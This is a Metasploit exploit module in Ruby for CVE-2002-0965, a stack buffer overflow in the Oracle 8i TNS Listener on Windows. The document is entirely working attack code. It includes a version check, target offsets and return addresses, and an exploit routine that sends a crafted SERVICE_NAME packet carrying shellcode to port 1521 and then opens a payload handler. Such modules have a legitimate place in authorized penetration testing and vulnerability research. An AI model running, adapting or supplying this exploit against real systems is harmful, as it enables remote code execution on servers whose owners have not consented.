Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::TNS

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Oracle. When
        sending a specially crafted packet containing a long SERVICE_NAME
        to the TNS service, an attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2002-0965'],
          [ 'OSVDB', '5041'],
          [ 'BID', '4845'],
          [ 'URL', 'http://www.oracle.com/technology/deploy/security/pdf/net9_dos_alert.pdf' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)',   { 'Offset' => 6396, 'Ret' => 0x60a1e154 } ],
          [ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)',   { 'Offset' => 6392, 'Ret' => 0x60a1e154 }] ,
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2002-05-27'))

    register_options([Opt::RPORT(1521)])
  end

  def check
    connect

    version = "(CONNECT_DATA=(COMMAND=VERSION))"
    pkt = tns_packet(version)
    sock.put(pkt)

    sock.get_once
    res = sock.get_once(-1, 1)

    disconnect

    if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    buff =  rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
    buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
    buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(400)

    sploit = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=#{rhost}(PORT=#{rport}))(CONNECT_DATA=(SERVICE_NAME=#{buff})(CID=(PROGRAM=MSF))))"

    pkt = tns_packet(sploit)

    print_status("Trying target #{target.name}...")
    sock.put(pkt)

    handler

    disconnect
  end
end